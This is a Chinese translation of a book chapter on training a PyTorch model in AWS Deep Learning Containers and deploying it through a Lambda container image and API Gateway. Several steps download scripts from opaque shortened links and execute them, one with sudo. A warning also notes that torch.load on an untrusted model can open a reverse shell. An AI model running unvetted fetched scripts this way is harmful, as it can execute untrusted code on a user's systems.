在第二章“深度学习 AMI”中,我们使用了AWS Deep Learning AMI(DLAMIs)在 EC2 实例内设置一个环境,在那里我们可以训练和评估深度学习模型。在本章中,我们将更深入地探讨AWS Deep Learning Containers(DLCs),它们可以在多个环境和服务中持续运行。此外,我们还将讨论 DLAMIs 和 DLCs 之间的相似之处和不同之处。
本章的动手解决方案侧重于我们如何使用 DLCs(深度学习容器)来解决在云中处理机器学习(ML)需求时的几个痛点。例如,容器技术如Docker允许我们在容器内运行不同类型的应用程序,而无需担心它们的依赖项是否会发生冲突。除此之外,在尝试管理和降低成本时,我们会有更多的选择和解决方案。例如,如果我们使用AWS Lambda(一种无服务器计算服务,允许我们运行自定义后端代码)的容器镜像支持来部署我们的深度学习模型到无服务器函数中,我们就能显著降低与 24/7 运行的推理端点相关的基础设施成本。同时,使用无服务器函数,我们只需要关注函数内的自定义代码,因为 AWS 会负责这个函数运行的基础设施。
在前一章中“理解 AWS EC2 实例定价方式”部分讨论的场景中,我们能够通过使用m6i.large
实例,将 24/7 推理端点的运行成本降低到大约每月 69.12 美元。重要的是要注意,即使这个推理端点没有收到任何流量,这个值也大致会保持不变。换句话说,我们可能每个月要支付69.12 美元,用于可能被低效利用或未使用的资源。如果我们设置一个与生产环境配置相同的预发布环境,这个成本将翻倍,而且几乎可以肯定的是,预发布环境资源将会严重低效。在这个时候,你可能想知道,“我们是否有可能进一步降低这个成本?”好消息是,这是可能的,只要我们能使用正确的一套工具、服务和框架设计出更优的架构。
我们将从这个章节的动手实践部分开始,在一个 DLC 中训练一个 PyTorch 模型。这个模型将被上传到一个自定义容器镜像中,然后用于创建一个 AWS Lambda 函数。之后,我们将创建一个 API Gateway HTTP API,它接受一个 HTTP 请求,并使用包含输入请求数据的事件触发 AWS Lambda 函数。然后,AWS Lambda 函数将加载我们训练的模型以执行机器学习预测。
在本章中,我们将涵盖以下主题:
-
开始使用 AWS 深度学习容器
-
必要的先决条件
-
使用 AWS 深度学习容器训练机器学习模型
-
使用 Lambda 的容器镜像支持进行无服务器机器学习部署
在处理本章的动手解决方案时,我们将涵盖几个 无服务器 服务,如 AWS Lambda 和 Amazon API Gateway,这些服务允许我们运行应用程序而无需自己管理基础设施。同时,使用这些资源的成本会根据这些资源的使用情况自动缩放。在一个典型的设置中,我们可能有一个 24/7 运行的 EC2 实例,我们将为运行资源付费,无论是否在使用。使用 AWS Lambda,我们只有在函数代码运行时才需要付费。如果它每月只运行几秒钟,那么我们可能那个月的费用几乎为零!
在考虑这些要点的基础上,让我们从本章的快速介绍开始,了解 AWS DLC 的工作原理。
技术要求
在我们开始之前,我们必须准备好以下内容:
-
一个网络浏览器(最好是 Chrome 或 Firefox)
-
访问本书前两章中使用的 AWS 账户
-
访问您在 第一章 的 创建您的 Cloud9 环境 和 增加 Cloud9 存储空间 部分中准备好的 Cloud9 环境
每个章节使用的 Jupyter 笔记本、源代码和其他文件都可在本书的 GitHub 仓库中找到,网址为 https://github.com/PacktPublishing/Machine-Learning-Engineering-on-AWS。
重要提示
建议在运行本书中的示例时,使用具有有限权限的 IAM 用户而不是根账户。我们将在 第九章 中详细讨论这一点,安全、治理和合规策略。如果您刚开始使用 AWS,您可以在同时使用根账户。
开始使用 AWS 深度学习容器
容器允许开发人员、工程师和系统管理员在一致且隔离的环境中运行进程、脚本和应用程序。这种一致性得到保证,因为这些容器是从容器镜像启动的,类似于 EC2 实例是从 Amazon Machine Images(AMIs)启动的。
需要注意的是,我们可以在一个实例内同时运行不同的隔离容器。这使得工程团队能够充分利用现有实例的计算能力,并运行不同类型的过程和工作负载,类似于以下图所示:
图 3.1 – 在单个 EC2 实例内运行多个容器
可用的最受欢迎的容器管理解决方案之一是 Docker。它是一个开源的容器化平台,允许开发者和工程师轻松地构建、运行和管理容器。它涉及使用 Dockerfile,这是一个包含如何构建容器镜像的指令的文本文件。然后,这些容器镜像被管理和存储在容器注册库中,以便可以在以后使用。
注意
Docker 镜像用于创建容器。Docker 镜像类似于 ZIP 文件,它打包了运行应用程序所需的一切。当从容器镜像(使用 docker run
命令)运行 Docker 容器时,容器就像一个虚拟机,其环境是隔离的,并且与运行容器的服务器分开。
既然我们已经对容器和容器镜像有了更好的了解,那么让我们继续讨论 DLC(深度学习容器)是什么以及它们是如何被用来加速机器学习模型的训练和部署的。使用 AWS DLC 的一个关键好处是,大多数相关的 ML(机器学习)包、框架和库已经预装在容器镜像中。这意味着 ML 工程师和数据科学家不再需要担心安装和配置 ML 框架、库和包。这使他们能够继续准备用于训练和部署他们的深度学习模型的定制脚本。
由于 DLC 镜像是简单的预构建容器镜像,因此它们可以在任何可以使用容器和容器镜像的 AWS 服务中使用。这些 AWS 服务包括 Amazon EC2、Amazon Elastic Container Service(ECS)、Amazon Elastic Kubernetes Service (EKS)、Amazon SageMaker、AWS CodeBuild、AWS Lambda 以及更多。
考虑到这些,让我们继续使用 AWS 深度学习容器来训练和部署深度学习模型!
必要的先决条件
在本节中,我们将在进行训练步骤之前确保以下先决条件已准备就绪:
-
我们将准备一个 Cloud9 环境,并确保它已经设置好,以便我们可以训练模型并构建自定义容器镜像。
-
我们将准备一个训练数据集,该数据集将在训练深度学习模型时使用。
准备 Cloud9 环境
在本章的第一部分,我们将在一个 EC2 实例内部运行我们的深度学习容器,类似于以下图中所示:
图 3.2 – 在 EC2 实例内运行深度学习容器
这个容器将作为使用PyTorch框架的脚本训练机器学习模型的环境。即使 PyTorch 没有安装在 EC2 实例上,训练脚本仍然可以成功运行,因为它将在预安装了 PyTorch 的容器环境中执行。
注意
如果你想知道 PyTorch 是什么,它是最受欢迎的开源机器学习框架之一。你可以访问pytorch.org/
获取更多信息。
在接下来的步骤中,我们将确保我们的 Cloud9 环境已准备好:
- 在搜索栏中输入
cloud9
。从结果列表中选择Cloud9:
图 3.3 – 导航到 Cloud9 控制台
这里,我们可以看到当前区域设置为us-west-2
)。请确保将其更改为你在第一章“AWS 机器学习工程简介”中创建 Cloud9 实例的位置。
- 通过点击
us-west-2
),打开你在第一章“AWS 机器学习工程简介”的创建你的 Cloud9 环境部分中创建的 Cloud9 环境。
注意
如果你跳过了第一章,确保在继续之前完成该章节的创建你的 Cloud9 环境和增加 Cloud9 存储部分。
-
在 Cloud9 环境的终端中,运行以下
bash
命令以创建ch03
目录:mkdir -p ch03
cd ch03
我们将使用这个目录作为本章的当前工作目录。
现在我们已经准备好了 Cloud9 环境,接下来让我们开始下载训练数据集,以便我们可以训练我们的深度学习模型。
下载示例数据集
本章中我们将使用的训练数据集与我们在第二章“深度学习 AMIs”中使用的相同数据集。它包含两列,分别对应连续的x和y变量。在本章的后面部分,我们还将使用这个数据集生成一个回归模型。这个回归模型预计将接受一个输入x值并返回一个预测的y值。
在接下来的步骤中,我们将下载训练数据集到我们的 Cloud9 环境中:
-
运行以下命令以创建
data
目录:mkdir -p data
-
接下来,让我们使用
wget
命令下载训练数据 CSV 文件:wget https://bit.ly/3h1KBx2 -O data/training_data.csv
-
使用
head
命令检查我们的训练数据看起来像什么:head data/training_data.csv
这应该会给我们提供(x,y)对,类似于以下截图所示:
图 3.4 – 训练数据文件 training_data.csv 的前几行
由于我们是在ch03
目录内开始这一节的,因此需要注意的是training_data.csv
文件应该位于ch03/data
目录内。
现在我们已经准备好了先决条件,我们可以继续进行训练步骤。
使用 AWS 深度学习容器训练 ML 模型
在这一点上,您可能想知道是什么让深度学习模型与其他 ML 模型不同。深度学习模型是由相互连接的节点组成的网络,它们彼此通信,类似于人类大脑中神经元网络的通信方式。这些模型在网络中使用了多个层,类似于以下图示。更多的层和每层的更多神经元赋予了深度学习模型处理和学习复杂非线性模式和关系的能力:
图 3.5 – 深度学习模型
深度学习在自然语言处理(NLP)、计算机视觉和欺诈检测等领域有几种实际应用。除此之外,这里还有一些其他的应用和示例:
-
生成对抗网络(GANs):这些可以用来从原始数据集中生成真实示例,类似于我们在第一章“在 AWS 上介绍机器学习工程”中“使用深度学习模型生成合成数据集”部分所做的那样。
-
深度强化学习:这利用深度神经网络和强化学习技术来解决机器人、游戏等行业的复杂问题。
在过去几年中,随着PyTorch、TensorFlow和MXNet等深度学习框架的出现,深度学习模型的训练和部署过程得到了极大的简化。AWS DLCs 通过提供预装了运行这些 ML 框架所需所有内容的容器镜像,进一步加快了这一过程。
注意
您可以在此处查看可用的 DLC 镜像列表:github.com/aws/deep-learning-containers/blob/master/available_images.md
。请注意,这些容器镜像根据以下类别进行分类:(1)安装的 ML 框架(PyTorch、TensorFlow或MXNet),(2)作业类型(训练或推理),以及(3)安装的 Python 版本。
在接下来的步骤中,我们将使用针对训练 PyTorch 模型进行优化的 DLC 镜像:
-
通过运行以下命令下载
train.py
文件:wget https://bit.ly/3KcsG3v -O train.py
在我们继续之前,让我们通过从File
树中打开它来检查train.py
文件的内容:
图 3.6 – 从文件树中打开 train.py 文件
我们应该看到一个脚本,它使用存储在 data
目录中的训练数据来训练一个深度学习模型。在训练步骤完成后,该模型被保存在 model
目录中:
图 3.7 – train.py 脚本文件的 main() 函数
在这里,我们可以看到我们的 train.py
脚本的 main()
函数执行以下操作:
-
(1) 使用
prepare_model()
函数定义模型 -
(2) 使用
load_data()
函数加载训练数据 -
(3) 使用
fit()
方法执行训练步骤 -
(4) 使用
torch.save()
方法保存模型工件
在前面的截图中的最后一块代码简单地运行了 main()
函数,如果 train.py
被直接作为脚本执行。
注意
你可以在这里找到完整的 train.py
脚本:github.com/PacktPublishing/Machine-Learning-Engineering-on-AWS/blob/main/chapter03/train.py
。
-
接下来,使用
mkdir
命令创建model
目录:mkdir -p model
之后,我们将看到模型输出被保存在这个目录中。
-
通过运行以下命令安装
tree
工具:sudo apt install tree
-
让我们使用我们刚刚安装的
tree
工具:tree
这应该会产生一个类似以下截图中的树状结构:
图 3.8 – 使用 tree 命令后的结果
重要的是要注意,train.py
脚本位于 ch03
目录中,data
和 model
目录也位于此处。
-
使用
wget
命令下载train.sh
文件:wget https://bit.ly/3Iz7zaV -O train.sh
如果我们检查 train.sh
文件的内容,我们应该看到以下几行:
aws ecr get-login-password --region us-west-2 | docker login --username AWS --password-stdin 763104351884.dkr.ecr.us-west-2.amazonaws.com
TRAINING_IMAGE=763104351884.dkr.ecr.us-west-2.amazonaws.com/pytorch-training:1.8.1-cpu-py36-ubuntu18.04
docker run -it -v `pwd`:/env -w /env $TRAINING_IMAGE python train.py
train.sh
脚本首先与 Amazon Elastic Container Registry(一个完全管理的 Docker 容器注册表,我们可以在这里存储我们的容器镜像)进行身份验证,以便我们能够成功下载训练容器镜像。这个容器镜像已经预装了 PyTorch 1.8.1 和 Python 3.6。
重要提示
train.sh
脚本中的代码假设我们将在运行 Cloud9 环境的 EC2 实例(位于 俄勒冈 (us-west-2
) 区域)中运行训练实验。请确保将 us-west-2
替换为适当的区域代码。有关此主题的更多信息,请随时查看 https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.xhtml。
docker run
命令首先下载指定的容器镜像,并使用该镜像创建一个运行中的容器进程。之后,当前工作目录的内容在当前工作目录(ch03
)通过运行 docker run
命令时使用 -v
标志挂载到容器中后会被“复制”到容器中。然后我们使用 -w
标志将工作目录设置到容器内部我们的文件被挂载的位置(/env
)。一旦所有步骤完成,train.py
脚本将在运行中的容器环境中执行。
注意
查阅 docs.docker.com/engine/reference/run/
获取更多关于如何使用 docker run
命令的信息。
-
现在我们对执行
train.sh
文件时会发生什么有了更好的了解,让我们使用以下命令运行它:chmod +x train.sh
./train.sh
这应该会产生一组日志,类似于以下内容:
图 3.9 – 运行 train.sh 脚本时生成的日志
在这里,train.sh
脚本运行了一个容器,该容器调用了 train.py
(Python)脚本来训练深度学习模型。在前面的屏幕截图中,我们可以看到 train.py
脚本在迭代更新神经网络权重以提高输出模型的质量(即减少每次迭代的损失,以便我们可以最小化错误)时生成的日志。需要注意的是,这个 train.py
脚本使用了 PyTorch 准备和训练一个使用提供的数据的示例深度学习模型。
这是我们为什么使用已经预装了 PyTorch 1.8.1 和 Python 3.6 的深度学习容器镜像的原因。
注意
这一步可能需要 5 到 10 分钟才能完成。在等待的时候,不妨来一杯咖啡或茶!
-
训练脚本运行完成后,让我们使用
tree
命令检查model
目录是否包含一个model.pth
文件:tree
这应该会产生一个类似以下的树状结构:
图 3.10 – 验证模型是否成功保存
这个 model.pth
文件包含我们使用 train.py
脚本训练的序列化模型。该文件是在模型训练步骤完成后使用 torch.save()
方法创建的。您可以查阅 pytorch.org/tutorials/beginner/saving_loading_models.xhtml
获取更多信息。
注意
生成的 model.pth
文件允许我们使用模型的参数进行预测(在模型从文件加载后)。例如,如果我们的模型使用一个如 ax² + bxy + cy² = 0 的方程,那么 a、b 和 c 的值是模型参数。有了这个,如果我们有 x(这是自变量),我们可以轻松地计算 y 的值。也就是说,我们可以认为确定 a、b 和 c 是训练阶段的任务,而确定给定 x(以及给定 a、b 和 c)的 y 是推理阶段的任务。通过加载 model.pth
文件,我们可以进入推理阶段,并计算给定输入 x 值的预测 y 值。
难道不是很简单吗?训练步骤完成后,我们将在下一节进行部署步骤。
使用 Lambda 的容器镜像支持进行无服务器 ML 部署
现在我们有了 model.pth
文件,我们该如何处理它?答案是简单的:我们将使用一个 AWS Lambda 函数和一个 Amazon API Gateway HTTP API 在无服务器 API 中部署这个模型,如下面的图所示:
图 3.11 – 使用 API Gateway 和 AWS Lambda 的无服务器 ML 部署
如我们所见,HTTP API 应该能够接受来自“客户端”如移动应用和其他与最终用户交互的 Web 服务器的 GET 请求。然后这些请求作为输入事件数据传递给 AWS Lambda 函数。Lambda 函数随后从 model.pth
文件中加载模型,并使用它根据输入事件数据中的 x 值计算预测的 y 值。
构建自定义容器镜像
我们的 AWS Lambda 函数代码需要利用 PyTorch 函数和实用工具来加载模型。为了使这个设置正常工作,我们将从现有的针对 PyTorch 推理需求优化的 DLC 镜像构建一个自定义容器镜像。这个自定义容器镜像将用于我们的 AWS Lambda 函数代码将通过 AWS Lambda 的容器镜像支持运行的环境。
注意
想了解更多关于 AWS Lambda 的容器镜像支持信息,请查看 https://aws.amazon.com/blogs/aws/new-for-aws-lambda-container-image-support/.
重要的是要注意,我们有各种 DLC 镜像可供选择。这些镜像根据它们的作业类型(训练与推理)、安装的框架(PyTorch 与 TensorFlow 与 MXNet 与其他选项)和安装的 Python 版本(3.8 与 3.7 与 3.6 与其他选项)进行分类。由于我们计划在一个可以加载并使用 PyTorch 模型进行预测的容器中,因此当构建自定义 Docker 镜像时,我们将选择一个针对 PyTorch 推理优化的 DLC 镜像作为基础镜像。
以下步骤专注于从现有的 DLC 镜像构建一个自定义容器镜像:
-
确保你已经在
ch03
目录内,通过在终端中运行pwd
命令来检查。 -
接下来,运行以下命令以下载
dlclambda.zip
并将其内容提取到ch03
目录中:wget https://bit.ly/3pt5mGN -O dlclambda.zip
unzip dlclambda.zip
此 ZIP 文件包含构建自定义容器镜像所需的文件和脚本。
-
使用
tree
命令查看ch03
目录的结构:tree
这应该会生成一个类似以下的树状结构:
图 3.12 – 执行 tree 命令后的结果
在这里,从dlclambda.zip
文件中提取了几个新文件:
-
Dockerfile
-
app/app.py
-
build.sh
-
download-rie.sh
-
invoke.sh
-
run.sh
我们将在本章的步骤中详细讨论这些文件。
- 在文件树中,定位并打开位于
ch03/app
目录内的app.py
文件:
图 3.13 – app.py Lambda 处理程序实现
此文件包含 AWS Lambda 处理程序实现代码,该代码(1)加载模型,(2)从事件数据中提取输入x值,(3)使用模型计算预测y值,(4)以字符串形式返回输出y值。
在本章末尾附近的完成和测试无服务器 API 设置部分,我们将设置一个 HTTP API,该 API 通过 URL 查询字符串接受x
的值(例如,https://<URL>/predict?x=42
)。一旦请求到来,Lambda 将调用一个包含处理传入请求的代码的处理程序函数。它将加载深度学习模型,并使用它来预测y
的值,使用x的值。
注意
你可以在这里找到完整的app/app.py
文件:github.com/PacktPublishing/Machine-Learning-Engineering-on-AWS/blob/main/chapter03/app/app.py
.
-
使用
cp
命令将model.pth
文件从model
目录复制到app/model
目录:cp model/model.pth app/model/model.pth
重要提示
确保你只从可信来源加载机器学习模型。在app/app.py
内部,我们使用torch.load()
加载模型,这可能被包含恶意有效载荷的攻击者利用。攻击者可以轻松准备一个包含恶意有效载荷的模型,当加载时,会给予攻击者访问你的服务器或运行机器学习脚本的资源(例如,通过反向 shell)。有关此主题的更多信息,你可以查看作者关于如何黑客攻击和确保机器学习环境和系统安全的演讲:speakerdeck.com/arvslat/pycon-apac-2022-hacking-and-securing-machine-learning-environments-and-systems?slide=8
.
-
接下来,让我们使用
chmod
命令使build.sh
、download-rie.sh
、invoke.sh
和run.sh
脚本文件可执行:chmod +x *.sh
-
在运行
build.sh
命令之前,让我们使用cat
命令检查脚本的正文:cat build.sh
这应该会产生一行代码,类似于以下代码块中的内容:
docker build -t dlclambda .
docker build
命令使用当前目录中 Dockerfile 中指定的指令构建 Docker 容器镜像。这是什么意思? 这意味着我们正在使用目录中的相关文件构建容器镜像,并且我们正在使用 Dockerfile 中的指令安装必要的包。这个过程类似于准备容器的 DNA,它可以用来创建具有所需工具和包配置的新容器。
由于我们将 dlclambda
作为 -t
标志的参数传递,我们的自定义容器镜像在构建过程完成后将具有 dlclambda:latest
的名称和标签。请注意,我们可以用特定的版本号(例如,dlclambda:3
)替换最新标签,但我们现在将坚持使用 latest
标签。
注意
如需了解更多关于 docker build
命令的信息,请访问 https://docs.docker.com/engine/reference/commandline/build/。
-
我们还必须检查 Dockerfile 的内容。当我们使用此 Dockerfile 构建容器镜像时会发生什么?
-
以下 DLC 镜像被用作构建两个阶段的基镜像:
https://763104351884.dkr.ecr.us-west-2.amazonaws.com/pytorch-inference:1.8.1-cpu-py36-ubuntu18.04
。重要的是要注意,此 Dockerfile 使用 多阶段构建 来确保最终容器不包含前一个构建阶段的未使用工件和文件。 -
接下来,安装 Lambda 运行时接口客户端。这允许任何自定义容器镜像与 AWS Lambda 兼容。
-
创建了
/function
目录。然后,将app/
目录(位于 Cloud9 环境的ch03
目录内)的内容复制到容器内的/function
目录。 -
ENTRYPOINT
设置为/opt/conda/bin/python -m awslambdaric
。然后CMD
设置为app.handler
。ENTRYPOINT
和CMD
指令定义了容器启动运行时执行的命令。
-
注意
单个 Dockerfile 中的 FROM
指令。这些 FROM
指令中的每一个都对应一个新的构建阶段,其中可以复制前一个阶段的工件和文件。在多阶段构建中,最后一个构建阶段生成最终镜像(理想情况下不包含前一个构建阶段的未使用文件)。
预期的最终输出将是一个可以用来启动容器的容器镜像,类似于以下内容:
图 3.14 – Lambda 运行时接口客户端
如果这个容器在没有任何额外参数的情况下启动,以下命令将执行:
/opt/conda/bin/python -m awslambdaric app.handler
这将运行app.py
文件中的handler()
函数来处理 AWS Lambda 事件。然后,handler()
函数将使用我们在使用 AWS 深度学习容器训练 ML 模型部分训练的深度学习模型进行预测。
注意
您可以在以下位置找到 Dockerfile:github.com/PacktPublishing/Machine-Learning-Engineering-on-AWS/blob/main/chapter03/Dockerfile
。
在运行build.sh
脚本之前,请确保将 Dockerfile 中的所有us-west-2
实例替换为适当的区域代码。
-
现在,让我们运行
build.sh
脚本:./build.sh
-
最后,我们需要使用
docker images
命令检查自定义容器镜像的大小是否超过 10 GB:docker images | grep dlclambda
我们应该看到dlclambda
的容器镜像大小为4.61GB
。需要注意的是,当使用容器镜像为 Lambda 函数时,存在 10 GB 的限制。如果我们要在 AWS Lambda 中使用这些镜像,我们的自定义容器镜像的大小需要低于 10 GB。
到目前为止,我们的自定义容器镜像已经准备好了。下一步是在使用它创建 AWS Lambda 函数之前,在本地测试容器镜像。
测试容器镜像
我们可以使用Lambda 运行时接口模拟器在本地测试容器镜像。这将帮助我们检查当容器镜像部署到 AWS Lambda 后是否能够正常运行。
在接下来的几个步骤中,我们将下载并使用 Lambda 运行时接口模拟器来检查我们的容器镜像:
-
使用
cat
命令检查download-rie.sh
文件的内容:cat download-rie.sh
这应该在终端中输出以下代码块:
mkdir -p ~/.aws-lambda-rie && curl -Lo ~/.aws-lambda-rie/aws-lambda-rie \
https://github.com/aws/aws-lambda-runtime-interface-emulator/releases/latest/download/aws-lambda-rie \
&& chmod +x ~/.aws-lambda-rie/aws-lambda-rie
download-rie.sh
脚本简单地下载 Lambda 运行时接口模拟器二进制文件,并使用chmod
命令使其可执行。
-
接下来,运行
download-rie.sh
脚本:sudo ./download-rie.sh
-
使用
cat
命令检查run.sh
文件的内容:cat run.sh
我们应该看到一个带有几个参数值的docker run
命令,类似于以下代码块:
docker run -v ~/.aws-lambda-rie:/aws-lambda -p 9000:8080 --entrypoint /aws-lambda/aws-lambda-rie dlclambda:latest /opt/conda/bin/python -m awslambdaric app.handler
让我们快速检查传递给每个标志的参数值:
-
-v
:~/.aws-lambda-rie
是一个位于运行中的 Docker 容器之外的目录,需要将其挂载到容器内的/aws-lambda
(容器内部)。 -
-p
: 这将容器中的8080
端口绑定到实例的9000
端口。 -
--entrypoint
: 这将覆盖容器启动时默认执行的ENTRYPOINT
命令。 -
[IMAGE]
:dlclambda:latest.
-
[COMMAND]
[ARG…]
:/opt/conda/bin/python -m awslambdaric app.handler.
这个docker run
命令覆盖了默认的ENTRYPOINT
命令,并使用aws-lambda-rie
,而不是使用--entrypoint
标志。这将然后在http://localhost:9000/2015-03-31/functions/function/invocations
上启动一个本地端点。
注意
关于 docker run
命令的更多信息,您可以自由查看 docs.docker.com/engine/reference/commandline/run/
。
-
现在,让我们调用
run.sh
脚本:./run.sh
-
通过单击以下截图所示的加号(+)按钮创建一个新的终端标签页:
图 3.15 – 创建新的终端标签页
注意,在我们打开 新终端 标签页时,run.sh
脚本应该保持运行状态。
-
在
invoke.sh
脚本中:cd ch03
cat invoke.sh
这应该会显示 invoke.sh
脚本文件中的内容。它应该包含一个单行脚本,类似于以下代码块:
curl -XPOST "http://localhost:9000/2015-03-31/functions/function/invocations" -d '{"queryStringParameters":{"x":42}}'
此脚本只是简单地使用 curl
命令发送一个包含 x
输入值的样本 POST
请求到之前由 run.sh
脚本启动的本地端点。
-
现在,让我们运行
invoke.sh
脚本:./invoke.sh
这应该会得到接近 "42.4586"
的值。您可以在 invoke.sh
脚本中自由更改输入 x
的值,以查看输出值如何变化。
- 返回到第一个标签页,并按 Ctrl + C 停止正在运行的
run.sh
脚本。
由于我们能够成功地在自定义容器镜像中使用 Lambda Runtime Interface Emulator 调用 app.py
Lambda 函数处理程序,我们现在可以继续将容器镜像推送到 Amazon ECR,并使用它来创建 AWS Lambda 函数。
将容器镜像推送到 Amazon ECR
Amazon Elastic Container Registry (ECR) 是一个容器注册服务,允许我们存储和管理 Docker 容器镜像。在本节中,我们将创建一个 ECR 仓库,然后将我们的自定义容器镜像推送到这个 ECR 仓库。
让我们先创建一个 ECR 仓库:
- 在 Cloud9 环境的右上角找到并单击 共享 按钮旁边的圆圈,如图所示。从选项列表中选择 转到仪表板:
图 3.16 – 导航到 Cloud9 控制台
这应该会打开 Cloud9 控制台,在那里我们可以找到所有创建的 Cloud9 环境。
-
在搜索栏中输入
registry
。从结果列表中选择 Elastic Container Registry。 -
在 ECR 控制台页面的右上角找到并单击 创建仓库 按钮。
-
在
dlclambda
上):
图 3.17 – 创建 ECR 仓库
可选地,您可以选择启用 标签不可变性,类似于前面截图所示。这将有助于确保我们不会意外覆盖现有的容器镜像标签。
-
将页面滚动到最底部,然后单击 创建仓库。
-
我们应该会看到一个成功通知,以及与以下截图类似的 查看推送命令 按钮:
图 3.18 – 查看推送命令
点击 查看推送命令 按钮以打开 <ECR 仓库名称> 的推送命令 弹出窗口。
- 在 步骤 1 下的灰色框内找到
bash
命令。通过点击以下截图中的高亮框按钮,将命令复制到剪贴板:
图 3.19 – 推送命令
此命令将用于在我们的 Cloud9 环境中对 Docker 客户端进行认证到 Amazon ECR。这将赋予我们推送和拉取容器镜像到 Amazon ECR 的权限。
- 返回到
bash
命令:
图 3.20 – 运行客户端认证命令
我们应该会得到 登录成功 的消息。如果没有这一步,我们就无法从 Amazon ECR 推送和拉取容器镜像。
- 返回到包含 ECR 推送命令的浏览器标签页,并复制 步骤 3 下的命令,如以下截图所示:
图 3.21 – 复制 docker tag 命令
这次,我们将从 docker tag
命令复制 docker tag
命令用于创建和映射对 Docker 镜像的命名引用。
备注
docker tag
命令用于指定并添加元数据(如名称和版本)到容器镜像。容器镜像仓库存储特定镜像的不同版本,docker tag
命令帮助仓库识别在执行 docker push
命令时将更新(或上传)哪个版本的镜像。更多信息,请查阅 https://docs.docker.com/engine/reference/commandline/tag/。
-
在包含 Cloud9 环境的浏览器标签页中,将复制的
docker tag
命令粘贴到终端窗口中。找到命令末尾的latest
标签值,并将其替换为1
:docker tag dlclambda:latest <ACCOUNT ID>.dkr.ecr.us-west-2.amazonaws.com/dlclambda:latest
命令应类似于以下代码块中 latest
标签被替换为 1
后的内容:
docker tag dlclambda:latest <ACCOUNT ID>.dkr.ecr.us-west-2.amazonaws.com/dlclambda:1
确保将 <ACCOUNT ID>
值正确设置为所使用的 AWS 账户的账户 ID。您从 <ACCOUNT ID>
值设置的 docker tag
命令已正确复制。
-
使用
docker images
命令快速检查我们的 Cloud9 环境中的容器镜像:docker images
这应该会返回所有容器镜像,包括 dlclambda
容器镜像,如下截图所示:
图 3.22 – 运行 docker images 命令
重要的是要注意,前一个截图显示的两个容器镜像标签具有相同的镜像 ID。这意味着它们指向相同的镜像,即使它们有不同的名称和标签。
-
使用
docker push
命令将容器镜像推送到 Amazon ECR 仓库:docker push <ACCOUNT ID>.dkr.ecr.us-west-2.amazonaws.com/dlclambda:1
确保将<ACCOUNT ID>
的值替换为你使用的 AWS 账户的账户 ID。你可以在运行上一步中的docker images
命令后,检查.dkr.ecr.us-west-2.amazonaws.com/dlclambda
之前的数值来获取<ACCOUNT ID>
的值。
注意
注意到镜像标签值是1
(一个),而不是容器镜像名称和冒号后面的字母l。
-
返回包含 ECR 推送命令的浏览器标签页,并点击关闭按钮。
-
在私有仓库列表中找到并点击我们创建的 ECR 仓库的名称(即
dlclambda
):
图 3.23 – 私有仓库
这应该会跳转到详情页面,在那里我们可以看到不同的镜像标签,如下面的截图所示:
图 3.24 – 仓库详情页
一旦我们的带有指定镜像标签的容器镜像反映在相应的 Amazon ECR 仓库详情页上,我们就可以使用它来创建 AWS Lambda 函数,利用 Lambda 的容器镜像支持。
现在我们自定义的容器镜像已经推送到Amazon ECR,我们可以准备和配置无服务器 API 设置!
在 AWS Lambda 上运行 ML 预测
AWS Lambda是一种无服务器计算服务,允许开发者和工程师在不配置或管理基础设施的情况下运行事件驱动的代码。Lambda 函数可以被来自其他 AWS 服务的资源调用,例如API Gateway(一个用于配置和管理 API 的全托管服务)、Amazon S3(一个对象存储服务,我们可以上传和下载文件)、Amazon SQS(一个全托管的消息队列服务)等。这些函数在具有定义的最大执行时间和最大内存限制的隔离运行环境中执行,类似于以下图表所示:
图 3.25 – AWS Lambda 隔离运行环境
部署 Lambda 函数代码及其依赖项有两种方式:
-
使用容器镜像作为部署包。
-
使用
.zip
文件作为部署包
当使用容器镜像作为部署包时,自定义 Lambda 函数代码可以使用容器镜像内部安装和配置的内容。也就是说,如果我们使用从 AWS DLC 构建的自定义容器镜像,我们就能在我们的函数代码中使用安装的 ML 框架(即PyTorch),并在 AWS Lambda 执行环境中运行 ML 预测。
现在我们对 AWS Lambda 的容器镜像支持有了更好的理解,让我们继续创建我们的 AWS Lambda 函数:
-
在搜索栏中输入
lambda
。从结果列表中选择Lambda以导航到 AWS Lambda 控制台。 -
定位并点击页面右上角的 创建函数 按钮。
-
在
dlclambda
上):
图 3.26 – 使用 AWS Lambda 的容器镜像支持
选择 容器镜像 选项意味着我们将使用自定义容器镜像作为部署包。这个部署包预期将包含 Lambda 代码及其依赖项。
- 在 容器镜像 URI 下,点击 浏览镜像 按钮。这将打开一个弹出窗口,类似于以下内容:
图 3.27 – 选择容器镜像
在 dlclambda:1
下)。
-
点击将用于 Lambda 函数部署包的
dlclambda
容器镜像。 -
然后,点击 创建函数。
注意
此步骤可能需要 3 到 5 分钟才能完成。在等待时,不妨喝杯咖啡或茶!
- 导航到 配置 > 通用配置 选项卡并点击 编辑:
图 3.28 – 编辑通用配置
在这里,我们可以看到 AWS Lambda 函数已配置为默认最大内存限制为 128 MB 和超时时间为 3 秒。如果在执行过程中 Lambda 函数超出一个或多个配置的限制,则会引发错误。
- 接下来,更新
10240
MB,因为我们预计我们的1
分钟和0
秒也将如此,因为推理步骤可能需要比默认的 3 秒更长的时间:
图 3.29 – 修改内存和超时设置
注意,在此处增加内存和超时限制将影响 Lambda 函数可用的计算能力和总运行时间,以及使用此服务运行预测的整体成本。目前,让我们专注于使用当前的内存和超时配置值来使 AWS Lambda 函数工作。一旦我们可以使初始设置运行,我们就可以尝试不同的配置值组合来管理我们设置的性能和成本。
注意
我们可以使用 AWS Compute Optimizer 来帮助我们优化 AWS Lambda 函数的整体性能和成本。有关此主题的更多信息,请参阅aws.amazon.com/blogs/compute/optimizing-aws-lambda-cost-and-performance-using-aws-compute-optimizer/
。
-
更改后点击 保存 按钮。我们应该在应用更改时看到类似于 正在更新函数
的通知。 -
导航到 测试 选项卡。
-
在
test
下):
图 3.30 – 配置测试事件
确保在代码编辑器中指定以下测试事件值,类似于前面截图所示:
{
"queryStringParameters": {
"x": 42
}
}
当执行测试时,此测试事件值被传递到 AWS Lambda handler()
函数的 event
(第一个)参数。
-
点击 保存。
-
现在,让我们通过点击 测试 按钮来测试我们的设置:
图 3.31 – 执行成功结果
几秒钟后,我们应该看到执行结果成功,类似于前面截图中的结果。
- 在
x
到41
然后点击41.481697
) 几乎立即。
重要提示
